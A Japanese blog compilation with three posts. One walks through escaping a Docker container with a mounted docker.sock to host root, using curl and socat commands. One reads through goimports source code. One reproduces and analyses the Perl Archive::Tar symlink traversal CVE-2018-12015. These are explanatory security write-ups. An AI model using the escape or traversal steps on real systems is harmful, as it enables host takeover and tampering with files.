ですが、ただ普通に試しても面白くないしdockerコマンド使わずにやってみた、というライトな記事です。

概要

/var/run/docker.sock をマウントしたDockerコンテナからホストのrootを取るまで、一切dockerコマンドを使わずにやってみたというひねくれた話です。alpineとかだとcurlも入ってないし、dockerコマンドを使うのに比べて攻撃しやすいとかそういうのは全くなく、深く知るためにやってみただけです。何の意味があるの?と聞かれれば何も意味ありませんと答えます。

さらに言うと、curl/socatの話がメインになっていてホストへの脱出とかもはや関係ないという説もあります。

環境

  • ホストOS:Ubuntu 16.04
  • コンテナイメージ:alpine:3.7
    • /var/run/docker.sock をマウント

Dockerなので特に環境は関係ないはずですが、一応書いておきます。

詳細

まず前提として、 /var/run/docker.sock をマウントしたDockerコンテナがあるとします。

root@ubuntu-xenial:~# docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine:3.7 sh
/ #

ここに侵入された場合にホストのrootをどうやって取るか、を説明します。

すでに知っている人も多いと思いますが、Dockerは通常だと /var/run/docker.sockUNIXドメインソケットでHTTPサーバが待ち受けています。Dockerコマンドを実行するとHTTPリクエストが発行されて、サーバが実際に処理します。 なので、curlなどを使ってDocker操作が可能です。

上のalpineに侵入されたとしてcurlでDockerを操作してみます。 まず先に必要なコマンドをインストールします。 この時点でdockerコマンド入れたほうが確実に楽です。

/ # apk add --update curl socat

コンテナ作成

ではまずコンテナを作成します。 コンテナ作成のエンドポイントは /containers/create です。

Docker Engine API v1.37 Reference

POSTするJSONの値で作成するコンテナのオプションが指定できます。 --unix-socketUNIXドメインソケットのpathを指定しています。

/ # curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create?name=attack -d '{
  "Image": "alpine:3.7",
  "Cmd": ["/bin/sh"],
  "OpenStdin":true,
  "Mounts": [
    {
      "Type": "bind",
      "Source": "/",
      "Target": "/host"
    }
  ]
}'
{"Id":"0644be52881892f5f7dc311611933c979eb030eec5d9b11d0707c47b2bdff38c","Warnings":null}

上の例では、ホストの / をコンテナの /host にマウントしています。 利用するイメージは alpine:3.7 で、CMDには /bin/sh を指定しています。 コンテナ名は何でも良いですが attack にしています。

この状態でホストのdockerコマンドで一覧を見てみます。

root@ubuntu-xenial:~# docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                         PORTS               NAMES
0644be528818        alpine:3.7          "/bin/sh"           2 minutes ago       Created                                            attack

STATUSがCreatedになっています。そういうSTATUSがあるのを今まで意識してませんでした。 この状態だと起動していないので、コンテナを起動します。

コンテナ起動

先程のコンテナ名を指定してcurlコマンドを実行します。 コンテナ起動は containers/{id}/start です。

Docker Engine API v1.37 Reference

curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/attack/start

これで準備は完了です。

コンテナアタッチ

上で作成したコンテナにattachしてみます。

Docker Engine API v1.37 Reference

コンテナ内でコマンドを叩くだけならcurlで良いのですが、interactiveに操作しようとするとraw streamが返って来るのでcurlだと困ります(知らないだけでオプションあるかもですが)。

今回はsocatを使います。socatでHTTPリクエストを送るとそのままソケットが開かれるので、コマンドを打ったり出来ます。 以下のようなHTTPリクエストを送ります。

POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

いちいち打つの面倒なのでパイプで渡します。

(cat <<EOF
POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
EOF
cat - ) | socat - UNIX-CONNECT:/var/run/docker.sock


HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

[コマンド打てる]

レスポンスが返ってきて、そのままコマンドが打てます。 このコマンドは新しく起動したコンテナ内で実行されます。 このコンテナは /host にホストのrootディレクトリをマウントしているので、chrootすればホストの操作が可能です。

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

chroot /host
obash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
)groups: cannot find name for group ID 11
iTo run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@0644be528818:/# cat /etc/hostname
ubuntu-xenial
root@0644be528818:/# ps aux
...
root     14209  0.0  0.0   1560     4 ?        Ss   01:56   0:00 /bin/sh
root     14231  0.0  0.0      0     0 ?        S    01:56   0:00 [kworker/1:2]
root     14254  0.0  0.0   1508     4 pts/0    S+   02:10   0:00 cat -
root     14255  0.0  0.1  11876  1568 pts/0    S+   02:10   0:00 socat - UNIX-CONNECT:/var/run/docker.sock
root     14258  0.0  0.3  18224  3260 ?        S    02:11   0:00 /bin/bash -i
root     14270  0.0  0.2  34424  2880 ?        R    02:12   0:00 ps aux

表示は見やすいように少しいじっていますが、hostnameにはホストの ubuntu-xenial が表示され、psコマンドでホストのプロセスが見えています。

ということであとはSSHの鍵でも置けば自由に入れますし、rootkitでも置いてバックドア化すればいつでもログイン可能になります。

まとめ

Dockerの操作はUNIXドメインソケット経由で可能なのでcurlでも普通に実行できます。 ただシェルを操作するときにcurlだと出来なくて困ってたのですが、socatで出来ました。socat万能。 curlとsocatで docker run 相当のことが出来ると知っておくと何か便利なことがあるかもしれません。

goimportsのソースコードを読んでみた

概要

go generate用のツールを作る時にパッケージを自動でimportしたくなったので、goimportsのソースコードを読んでみました。 Goの標準ツールということで凄い技術でやっているんだろうな...と漠然と思っており、自分なんかに理解できるだろうかという不安があったのですが、読んでみたら泥臭いことを丁寧にやっている感じでした。 コードは綺麗だし参考になるところだらけなのですが、割と普通のことをやっている感じなので必要以上に恐れずに一度読んでみると良いのではないか、と思いました。

せっかく読んだので重要そうに感じたところだけまとめておきます。 大分省略したにも関わらず長くなって誰にも読まれない文章に昇華されてしまって残念です。自分用のメモということで。

バージョン

自分が読んだときのコミットハッシュは以下です。

コミットハッシュ:3c07937fe18c27668fd78bbaed3d6b8b39e202ea

GitHub - golang/tools at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea

流れ

最初にgoimportsの重要な(だと自分が思った)処理の部分の流れについてまとめておきます。

  • AST取得
    • goimportsの対象ファイルのASTを取得する
  • AST解析
    • ASTを解析して、import一覧と使っているパッケージ一覧(とシンボル)を取得する
      • 前者:import "github.com/knqyf263/fooなどのimport文
      • 後者:foo.Barならパッケージがfoo、シンボルがBar(structなどは除外する)
  • import pathからパッケージ名の取得
    • github.com/knqyf263/go-foo のようなimport pathから実際のパッケージ名を取得しておく(import pathは go-foo だがパッケージ名は foo など、異なったりするため)
    • 単に github.com/knqyf263/go-foo/foo.go 等のGoのファイルを開いてAST解析し、パッケージ名を取得するだけ
  • 不要なimportの削除
    • 上で取得したimport一覧のうち、使われているパッケージの一覧に含まれないパッケージを探して削除
  • importの自動追加
    • 同一パッケージ内の探索
      • 同一パッケージ内の別ファイルをパースする
        • foo/bar.goに対してgoimportsを適用したらfoo/baz.goやfoo/qux.goをパース
      • 同一パッケージ内でもし同じパッケージをimportしていれば、それを優先して使う
        • foo/bar.goでqux.Printをしていて、foo/baz.goでimport "github.com/knqyf263/qux をしていればそれを優先して利用
    • $GOROOTと$GOPATHの探索
      • 最初に全てを探索してmapを作る
        • vendorやinternalは一切関係なしに、find $GOPATH/src -name "*.go" するようなイメージ(あくまでイメージで実際はいろいろ枝刈りしている)
        • この処理は一度のみ行われる
      • パッケージ名がimport path(の最後の2つの要素)内に含まれているものを候補として抽出
        • fooというパッケージ名を探している場合、 github.com/knqyf263/go-foo はfooという文字列を含むため候補となる
        • あくまで候補であり github.com/foo/bar などもfooを含むため抽出される
      • 対象のファイルからパス的に近いものを優先するようにする
        • foo/bar.go内で使われているquxを探す場合、 ../vendor/github.com/knqyf263/qux の方が ../../../../github.com/knqyf263/qux よりもスラッシュの数が少ないため優先される
      • symbolの確認
        • 候補のパッケージのexportされているsymbolを全て取得し、全て存在するか確認する
        • qux.Printを使っている場合に、 github.com/knqyf263/qux のパッケージでexportされているsymbolがHogeFugaだけであれば、このパッケージは対象外となる
    • import文の追加
      • 上で条件を満たすパッケージが見つかれば、import文をASTのライブラリを用いて追加する

詳細

mirrorがGitHubにあるのでそちらを見ていきます。

github.com

自分が重要だと思ったところだけ流して書いていくので、細かいところが気になった人は自分で読んでみると良いと思います。

imports.Process からが重要なので、その前は気にしなくて良いです。

まず、goimportsのコマンド自体は以下の cmd/goimports/goimports.go になります。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

main (cmd/goimports/goimports.go)

まずmainを見ます。 この中で gofmtMain() を呼んでいます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

gofmtMain (cmd/goimports/goimports.go)

flagの処理など色々やっています。
goimportsではファイルを渡したりディレクトリを渡したりできるので、そこら辺の処理もやっています。

そして何やかんやで processFile() が呼ばれます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

processFile (cmd/goimports/goimports.go)

指定されたファイルをOpenして中身を読み込んだりします。 それを imports.Process に渡します。 import周りの実際の処理はこのProcessで行われます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

結果が返ってきたらファイルに書き込んだり差分を表示したりしてgoimportsコマンドの処理は終わりです。

ではProcessの中を見ていきます。

Process (tools/imports/imports.go)

まずこのProcessですが、exportされているため自分のツールで使いたい場合は imports.Process で呼び出すことが可能です。

imports - GoDoc

ファイルの中身が渡ってきているので、それをparseします。 parseの中では色々やっていますが、やりたいこととしては抽象構文木(AST)を得ることなので、とりあえずはParseFileを呼んでいることだけ知っておけば良いかなと思います。

parser - The Go Programming Language

これで与えられたファイルのASTが手に入りました。

次にfixImportsを呼んで不要なimportの削除や、必要なパッケージのimportを行います。 一番知りたいのはこの中の処理になります。

tools/imports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

その後 sortImports でimport文を並び替えたり、format.Sourceソースコードを整形したりして終わりです。

fixImports (tools/imports/fix.go)

ここからは少し細かい話になっていきます。あとの関数などは全てfix.goのものです。

得られたASTを解析するための関数 visitFn を定義しています。 ASTの解析については色々な方が解説を書いているので省略します。 visitFn では2つのことをやっています。

  • ImportSpec(import文)の解析
    • import "github.com/knqyf263/foo" みたいなやつ
  • SelectorExprの解析
    • foo.Bar みたいなやつ(多分)

ImportSpecの解析

ImportSpecの場合、importPathToName を呼んでいます。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

importPathToName によってimportのpathからパッケージ名への変換が行われます。 パッケージ名が分かれば、それをdecls というmapに保存しておきます。

importPathToName は変数で、実体は importPathToNameGoPath になります。

importPathToNameGoPath

importPathToNameGoPathを見ていきます。 この関数ではimportのpathからパッケージ名への変換を行います。 これは、importのpathだけではパッケージ名が分からないためです。 例えば gopkg.in/yaml.v2 というimport pathで、パッケージ名はyamlだったりします。 そこでどうするかと言うと、ファイルを直接見に行ってパッケージ名を調べます。

標準パッケージについては事前に分かっているため、予め変数として保持しています。 これを使うと、例えば net/http というimport pathの時に http というパッケージ名がすぐに分かります。

tools/zstdlib.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

標準パッケージにないimport pathについてはimportPathToNameGoPathParseで探します。

importPathToNameGoPathParse

build.FindOnly オプションを付けて build.Import 呼びます。 これは標準パッケージにないimport pathを解決するためのメソッドです。

build - The Go Programming Language

この結果importしたいライブラリのpathが分かるため、そのディレクトリ内のファイル名を全て取得します。 これらのファイルの中からパッケージ名を探します。 上記ファイルのうち、 .goサフィックスについており、かつ _test.go でないものを探します。 そしてGoのファイルが見つかれば、それをさきほど同様 parser.ParseFile でパースします。 このパッケージ名がdocumentationやmainの場合はskipし、条件を満たすパッケージ名が見つかるまで探していきます。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

見つかればパッケージ名をreturnして終わりです。

SelectorExprの解析

foo.Bar みたいな形の解析です(多分)。 このような形の中には、structなども含まれます。 最初にそういう場合を弾き、パッケージ名だけを取り出します(後述しますが、実はパッケージ以外にも同一パッケージ内で定義されたvarやconstも含んでいる)。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

このパッケージ名はとりあえず利用されていることがわかったため、 refs に入れます。 foo.Barであれば refs["foo"] = make(map[strinb]bool) になる。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

次に dirPackegeInfo を呼んでいます。 これも実際の関数は dirPackageInfoFile になるのでそちらを見ていきます。

dirPackageInfoFile

この関数は、goimportsの対象となっているファイルと同じパッケージにあるファイルについての情報を収集する関数になります。

最初に ioutil.ReadDir(srcDir) でgoimportsの対象ファイルと同じディレクトリ内のファイル情報を全て取得します。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

そしてfor文を回して .go で終わるなど、goに関連するファイルだけを取得します。 いつものように parser.ParseFile でASTを取得して解析します。

まず root.Declsから ast.ValueSpec なものを取り出して info.Globals に格納しています。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これはどういうことかと言うと、同じパッケージ内であればvarやconstで宣言した物が見えるためです。 variable.Foo()とアクセスしているが、このvariableはパッケージ名ではなく単なるvarで宣言された変数という可能性があるため、このvariableを後々パッケージ名として処理しないように収集しています。

次にimport文も集めて info.Imports に格納しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

最後に collectReferences を使って、ast.SelectorExpr を集めています。 collectReferences ではSelectorExprのうち、Exportされているものを info.Refs に格納するようになっています。 foo.barであれば info.Refs には入らず、 foo.Barであれば入るということです。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これで同一パッケージ内の情報収集は終わりです。

SelectorExprの解析(続き)

dirPackageInfoの結果がpackageInfoに格納されます。 次に、取得したpkgNameが decls に存在するか確認します。 これはimport文を収集したものなので、存在すれば既にこのpkgNameはimport済みということになります。

存在しない場合は、先程収集した packageInfo.Globals を確認します。 これはvarやconstに定義された名前だったので、このmapに存在すれば実はパッケージ名ではなく変数名や定数名だったことが分かります。

どちらにも合致しない場合はまだ未importのパッケージ名ということになるため、これを refs というmapに入れます。 この refs は2次元配列のようになっているため、呼ばれている方の名前も格納します。 つまりfoo.Barのようになっていて、このfooが未importであれば refs["foo"]["Bar"] = true のようになります。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これは、単にfooというパッケージ名だと誤ってimportすることが多くなってしまいますが(fooというパッケージが複数あった場合に判別できない)、BarというSymbolがExportされているfooパッケージを探すことで精度高くimportが可能なためです。

ここまでで、対象のファイルの中で利用されているパッケージ名の一覧と、未importのパッケージ名+Symbol一覧が手に入りました。

不要なimport分の削除

先程の2つの解析により、以下の2つを得ています。

  • decls: importされているパッケージ一覧
  • refs: 実際に利用されいているパッケージ一覧

これらの差を見ることで不要なimportが判定できます。 つまり、 decls にあるパッケージ名のうち、 refs にないものを unusedImportにいれて削除対象とします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

実際の削除処理はこちら。CGOの場合はskipなどの処理が入っていたりはしますが、先程のunusedImportを削除しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

import済みのパッケージ名の除去

未importのパッケージ名についてはSymbolをrefsに入れてあります。 なので、Symbolがないものについては既にimportされているパッケージであることが分かります。 このあとの処理は未importのものをimportする処理なので、それらは削除します。

削除した結果、refs が空になれば未importのパッケージがないということになるため処理を終わります。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

未importのパッケージをimportする

ここからが一番肝心の処理になります。 まず未importのパッケージ情報が入っている refs をfor文で回します。 それらをgoroutineで処理し、パッケージのimport pathを探します。

同一パッケージから探す

dirPackageInfoFile の中で同一パッケージの別ファイルの情報を集めました。 このimportの中に同じパッケージ名があれば同じimport pathを使うようにします。 ただし、同じsymbolが使われていることが前提になります。 foo.Barがgoimportsの対象ファイル内で使われていて、同一パッケージにfoo.Barがあれば同じfooであるとみなしますが、foo.Bazになっていればskipします。

同一パッケージの別ファイルでfoo.Barが使われており、 import "github.com/knqyf263/foo" になっていれば、同様のimport pathであるとみなしてこのパッケージ名に関する処理を終わります。

findImport(全体から探す)

同一パッケージ内になければ全体から探します。 findImport が呼ばれていますが、実体は findImportGoPath なのでその中を見ていきます。

findImportStdlib

最初に findImportStdlib で標準パッケージ内を探しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

探すときには同時にsymbolsも渡しており、全てのsymbolがexportされている場合はimport pathが返ってきます。 標準パッケージは以下のように事前にmapが定義されています。

        "fmt.Errorf":                                    "fmt",
        "fmt.Formatter":                                 "fmt",
        "fmt.Fprint":                                    "fmt",
        "fmt.Fprintf":                                   "fmt",

例えば fmt.Fprintfmt.Errorf がgoimportsの対象ファイル内で使われていれば fmt というimport pathが返ってきます。 しかし、fmt.Fprintfmt.Foo が利用されている場合は全てのsymbolが一致しないため fmt は返されません。

また、rand.Readの場合はmath/randではなくcrypto/randを使うような特別な対応も入っていたりします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

標準パッケージになかった場合は、ついに$GOROOTと$GOPATHを探しに行きます。 まず全てのpathをscanします。 これらは sync.Once を使って一度しかscanしに行かないようになっています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

scanGoDirs

scanGoDirsの中を見てみます。

build.Default.SrcDirs()$GOROOT/src$GOPATH/src が返ってきます。 これらの下を再帰的に全て見て行きます。 少し驚いたのですが、goimports対象のファイル付近のvendorだけ見たりとかしてるのかと思ったのですが、$GOPATH/src の下は全てなめています。 つまり、github.com/knqyf263/test1/vendorgithub.com/knqyf263/test2/vendor もこの時点では一緒に扱われます。

ファイルの場合、 src直下にあるものはskipします。$GOPATH/src/main.go みたいなもの。 あとは .go で終わらないものもskipします。 そしてこのファイルの存在するディレクトリを取得し、$GOPATH/src以降をimportPathとして取り出します。 この時、上で述べたようにvendor以下も全て取得しているためVendorlessPath を呼んでvendor以降のimport pathも取り出してimportPathShortとします。 これらを合わせてpkgというstructに保存します。 例えば以下のようになります。

imports.pkg{
  dir:             "/home/knqyf263/src/github.com/future-architect/vuls/vendor/github.com/knqyf263/go-cpe/naming",
  importPath:      "github.com/future-architect/vuls/vendor/github.com/knqyf263/go-cpe/naming",
  importPathShort: "github.com/knqyf263/go-cpe/naming",
}

出来上がったpkgをdirScanというmapに保存しておきます。

これを全てのdirについて行うため、dirScanのkey数はかなりの量になります。 当然ですが、同じdirはskipされるようになっています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

ディレクトリの場合、"testdata"や"node_modules"というディレクトリ名の場合はそれ以降探索しないようになっています。 他にもignoreの設定が可能なため、ignoreに設定されている場合もそのディレクトリ以下は探索しません。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

シンボリックの場合の処理もありますが割愛します。

探索はfastwalkという x/tools/internal で定義されているモジュールを使っています。 internalなため、外部からは利用できません。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

上記の処理により$GOROOTと$GOPATHを全てscanしてscanDirに入れ終えました。

pkgIsCandidate(候補検索)

まず最初にscanDirのうち、今回のパッケージ名の候補となりそうなpkgの一覧を取得します。 これはpkgIsCandidate の中で行われているので見てみます。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

pkgIsCandidate では最初にcanUseでvendorやinternalなどのルールに一致しているか確かめます。 子は親のvendor等を見ることができますが、子同士やさらに子のvendor等は見ることができません。 つまり ../vendor../internal は許されるが、../foo/vendor../foo/internalbar/vendorbar/internal は見ることができません。

これも予想もつかない凄いコードでやっているんだろうと勝手に思い込んでいましたが、読んでみたら普通な感じでした(シンプルにやっていて凄いとは思いましたが)。 canUse の中を見ると、自分でも頑張れそうな気持ちになれるのでおすすめです。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

次に lastTwoComponents でimportPathの最後の2つの要素を取り出します。 github.com/knqyf263/foo なら knqyf263/foo になります。 そして、パッケージ名がこの文字列に含まれるかを調べます。 例えばパッケージ名がscanなら以下の全てにヒットします。

  • hcl/scanner
  • vuls/scan
  • text/scanner

それどころかnqみたいなパッケージ名の場合、knqyf263/foo にもヒットします。 あくまで候補でありこのあとフィルタするので間違うことはないのですが、シンプルな感じだなーと思いました。

また、これは github.com/knqyf263/foo というimport pathでパッケージ名がbarの場合は候補に選ばれません。 つまりgoimportsが勝手に補完してくれなくなります。 パッケージ名とディレクトリ名は一致させるようにしましょう(普通にGo書いてたら一致させるとは思いますが)。

他にも大文字の場合やハイフンが入ることにより一致しない場合をなくすため、小文字にしてハイフンを削除してからマッチングしたりもしています。 github.com/json-iterator/go はパッケージ名がjsoniterですがimport path内には存在しません。ハイフンを削除して初めてマッチします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

distance(距離計算)

上の関数で候補のパッケージを取得しましたが、これらのパッケージと今処理中のパッケージの距離を計算します。 この距離というのは、どのパッケージを優先してimportするべきか、という優先度になります。 計算自体はdistanceで行われています。

もう段々分かってきたかと思いますが、このdistanceも非常にシンプルです。 まず相対パスを出します。あとはその相対パス内のスラッシュ(正確にはセパレータ)の数を数えるだけです。

例えば、"../vendor/github.com/knqyf263/foo" であれば4になります(実際の処理では最後に1足してるので5ですが)。 ../../../../github.com/knqyf263/foo であれば6になります。 つまり、パス的に近い遠いを測っています。 すぐに難しいアルゴリズムとか持ち出してこない感じで好きになりました。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

byDistanceOrImportPathShortLength(優先度順に並び替え)

上で計算したdistanceの順に並び替えます。 もしdistanceの値が同じであればimportPathShortの長さで並び替えます。 github.com/knqyf263/foogithub.com/knqyf263/foobar であれば前者が先になります。 それも同じであればあとはimportPathShortの辞書順に並び替えます。

symbolの確認

このあとの処理は候補のパッケージそれぞれについてgoroutineで並列に行います。 まず候補のパッケージがexportしているsymbolをloadExportsで全て取得します。 このloadExports内も今までどおりASTで頑張っています。

loadExportsで全てのsymbolが得られたら、処理中のパッケージが利用しているsymbolと比較します。 全てexportされているものが存在したら該当のパッケージを見つけたということで処理を終えます。 この時、importPathの最後の要素とパッケージ名が異なる場合はneedsRenameをtrueにして返します。

長くなりましたが、これでfindImportの処理は終わりです。

未importのパッケージをimportする(続き)

findImportの結果、空文字列が返ってきた場合は条件を満たすパッケージが見つからなかったことを意味するので終了します。 もし見つかっていれば、resultsに入れます。

そのresultsそれぞれに対して astutil.AddImportastutil.AddNamedImport を呼び出してソースコードにimportを追加します。 あとは追加したimport pathをまとめてreturnします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これで重要なところは全て終わりです。

まとめ

せっかく読んだしまとめておこうと思ったら長くなったし誰が読むんだって感じになってしまいました。 ですが、恐れずに読むと意外と普通のことをやっているだけだったりするのでブログは読まなくてもソースコードは一度読んでみることをおすすめします。

PerlのArchive::Tarの脆弱性(CVE-2018-12015)について調べてみた

概要

少し前ですが、PerlのArchive::Tarモジュールにディレクトリトラバーサル脆弱性が見つかりました(CVE-2018-12015)。

oss-sec: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability

この脆弱性RedHatのページでCVSSスコア5.4とかなので特別高いわけではなく世間的にも全く話題になっていないのですが、どうやってこの脆弱性が起きるのか気になってしまったので調べました。

#Zip Slipの方じゃなくて全く話題になってないやつです。

実験

とりあえず試してみます。上のページに攻撃方法が載っています。

$ tar -tvvf traversal.tar.gz
lrwxrwxrwx root/root         0 2018-06-05 18:55 moo -> /tmp/moo
-rw-r--r-- root/root         4 2018-06-05 18:55 moo

$ pwd
/home/jwilk

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'

$ ls /tmp/moo
/tmp/moo

どうやら同じファイル名でtar.gzに入れてその片方をシンボリックリンクにしておくと、その向き先にもう一つのファイルの内容を書き込めるようです。

ではまず適当にシンボリックリンクを作ります。

$ ln -s /tmp/moo moo

そして次に同じファイル名を...と思って気づいたのですが、普通にやるとファイルシステム的には同じファイル名を許容しないので作れない。。

tarの内部的にはヘッダーのnameに入るだけだと思うので同じnameでも許容されるであろうことは直感的には分かるのですが、作り方は知りませんでした。 プログラム書けば出来るだろうけど、面倒だしな...と思っていて調べたらtarのtransformオプションに気づきました。 こいつを使えばアーカイブ時にパス名を書き換えられるようです。

$  cat <<EOF > foo
#!/bin/sh

echo foo
EOF

$ tar zcvf traversal.tar.gz * --transform='s/foo/moo/g'
foo
moo

中身を確認してみます。

$ tar -tvvf traversal.tar.gz
-rw-r--r-- root/root        20 2018-06-27 00:39 moo
lrwxrwxrwx root/root         0 2018-06-27 00:00 moo -> /tmp/moo

無事に同じファイルで書き込めました。 あとはPerlを実行するだけです。

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
Making symbolic link '/root/traversal/moo' to '/tmp/moo' failed at -e line 1.

$ cat /tmp/moo
#!/bin/sh

echo foo

ということで無事に成功しました。

詳細

何でこんな事が起きるんだっけ?ということを確認します。 以下で今回の脆弱性について話されているようです。

Bug #125523 for Archive-Tar: CVE-2018-12015 directory traversal vulnerability

Perl全然詳しくないのでモジュールのソースコード見たい場合はどこを見るのが正しいかすら知らないのですが、GitHubに見つけたのでこれを使って調査します(どこかのミラーなんですかね)。

GitHub - jib/archive-tar-new

今回の脆弱性の修正箇所は以下にあります。

github.com

    if (-l $full || -e _) {
    if (!unlink $full) {
        $self->_error( qq[Could not remove old file '$full': $!] );
        return;
    }
    }

Perlは相変わらず省略が多くて読みにくいですが、 -l $full のところではファイルがシンボリックリンクか確認しています。 また、 -e _ では、 _ が直前にファイルテスト演算子でテストしたファイルになるようなので、 $full が存在するかの確認になるようです。

つまり、ファイルがシンボリックリンクだったり既に存在しているようであれば削除するという処理になります。

次に、この下の処理を確認してみます。

if( length $entry->type && $entry->is_file ) {
        my $fh = IO::File->new;
        $fh->open( $full, '>' ) or (
            $self->_error( qq[Could not open file '$full': $!] ),
            return
        );

        if( $entry->size ) {
            binmode $fh;
            syswrite $fh, $entry->data or (
                $self->_error( qq[Could not write data to '$full'] ),
                return
            );
        }

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L862-L875

$full をopenして、そこに $entry->data を書き込んでいることが分かります。 ソースコードを読むだけでは面白くないので、実行して中身を見てみます。

適当にopenの前とかにDumperを挟んでみます。

print Dumper $full;
$fh->open( $full, '>' ) or (
...

インストール方法はREADMEに書いてあります。

perl Makefile.PL
make
make test (optional but recommended)
make install

この状態で再度実行します。

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
$VAR1 = '/root/traversal/moo';

$full には単にファイルのフルパスが入っているようです。

次に $entry も見てみます。

$VAR1 = bless( {
                 'chksum' => 4336,
                 'raw' => 'moo0000644000000000000000000000002413307364634010360 0ustar  rootroot',
                 'mode' => 420,
                 'version' => ' ',
                 'gid' => 0,
                 'data' => '#!/bin/sh

echo foo
',
                 'magic' => 'ustar',
                 'name' => 'moo',
                 'uname' => 'root',
                 'type' => '0',
                 'devmajor' => 0,
                 'size' => 20,
                 'linkname' => '',
                 'prefix' => '',
                 'mtime' => 1528687004,
                 'devminor' => 0,
                 'uid' => 0,
                 'gname' => 'root'
               }, 'Archive::Tar::File' );

tarのヘッダに入っているような情報が含まれているようです。 そして実際のデータは data の中に入っていました。

シンボリックリンクの方は以下のようになっており、 linkname にリンクされている先が入っているようです。

$VAR1 = bless( {
                 'name' => 'moo',
                 'gid' => 0,
                 'magic' => 'ustar',
                 'raw' => 'moo0000777000000000000000000000000013314551645011671 2/tmp/mooustar  rootroot',
                 'mode' => 511,
                 'chksum' => 5049,
                 'version' => ' ',
                 'linkname' => '/tmp/moo',
...

一応 $full がどこから来ているかも確認しておきます。

my $full = File::Spec->catfile( $dir, $file );

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L841

単に $dir$file を結合しているだけのようです、

$file は以下のように $name から来ており、これは $entry から来ているので、結局ヘッダ内の情報を使っているようです。

if ( defined $alt ) { # It's a local-OS path
    ($vol,$dirs,$file) = File::Spec->splitpath(       $alt,
                                                      $entry->is_dir );
} else {
    ($vol,$dirs,$file) = File::Spec::Unix->splitpath( $name,
                                                      $entry->is_dir );
}

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L696-L702

つまりまとめると、以下のような流れになります。

1つめのmoo(シンボリックリンク

  1. mooというファイル名(正確にはパスも含む)をヘッダから取り出す
  2. mooというファイルをopenする(存在しないので新規作成)
  3. linknameを使ってシンボリックリンクを生成する

2つめのmoo(実際のファイル)

  1. mooというファイル名をヘッダから取り出す
  2. mooというファイルをopenする
  3. しかしmooは既に存在するので、上で作ったシンボリックリンクをopenしたことになる
